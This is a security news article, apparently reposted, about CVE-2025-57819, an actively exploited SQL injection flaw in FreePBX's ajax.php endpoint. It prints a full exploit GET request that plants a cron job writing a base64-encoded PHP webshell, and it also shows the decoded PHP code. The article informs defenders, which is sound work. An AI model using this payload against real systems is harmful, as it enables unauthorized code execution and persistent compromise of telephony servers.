FreePBX SQL Injection Vulnerability Exploited to Modify The Database


A critical SQL injection vulnerability in FreePBX has emerged as a significant threat to VoIP infrastructure worldwide, enabling attackers to manipulate database contents and achieve arbitrary code execution.

FreePBX, a widely deployed PBX system built around the open-source Asterisk VoIP platform, provides organizations with web-based administrative capabilities for managing telecommunications infrastructure.

The vulnerability, designated as CVE-2025-57819, allows malicious actors to inject SQL commands through vulnerable web application parameters, specifically targeting the system’s database management functions.

Threat actors have been actively exploiting this vulnerability to compromise FreePBX installations through sophisticated database manipulation techniques.

The attack vector leverages the system’s ajax.php endpoint, where inadequate input sanitization permits SQL injection through the “brand” parameter.

Attackers craft malicious GET requests containing SQL payloads that insert unauthorized entries into the cron_jobs database table, effectively establishing persistent access mechanisms within the compromised system.

google

Internet Storm Center analysts identified this vulnerability in active exploitation campaigns, observing attackers utilizing the flaw to achieve complete system compromise.

The exploitation attempts demonstrate advanced techniques that extend beyond simple database manipulation, incorporating elements of persistence and stealth to maintain unauthorized access while avoiding detection.

Database Manipulation and Code Execution Mechanism

The exploitation methodology involves injecting carefully crafted SQL statements into the FreePBX database through the vulnerable brand parameter in ajax.php requests.

A typical exploit payload appears as:-

GET /admin/ajax[.]php?module=FreePBX\modules\endpoint\ajax&command=model&template=x&model=model&brand=x' ;INSERT INTO cron_jobs (modulename,jobname,command,class,schedule,max_runtime,enabled,execution_order) VALUES ('sysadmin','takdak','echo "PD9waHAgaGVhZGVyKCd4X3BvYzogQ1ZFLTIwMjUtNTc4MTknKTsgZWNobyBzaGVsbF9leGVjKCd1bmFtZSAtYScpOyB1bmxpbmsoX19GSUxFX18pOyA/Pgo="|base64 -d ]/var/www/html/rspgf.php',NULL,'* * * * *',30,1,1) --

The malicious payload inserts a new entry into the cron_jobs table, which FreePBX utilizes for scheduled task management. The base64-encoded command, when decoded, reveals a PHP script containing:-

[ [?] php header ( 'x_poc: CVE-2025-57819'); echo [shell _exec] (' uname - a'); unlink (__ [FILE] __); ? ]

This technique transforms database manipulation into direct code execution by exploiting FreePBX’s cron job management system, creating web-accessible PHP files that execute system commands while implementing self-deletion mechanisms to evade forensic analysis.

Follow us on Google News, LinkedIn, and X to Get More Instant UpdatesSet CSN as a Preferred Source in Google.

googlenews



Source link

About Cybernoz

Security researcher and threat analyst with expertise in malware analysis and incident response.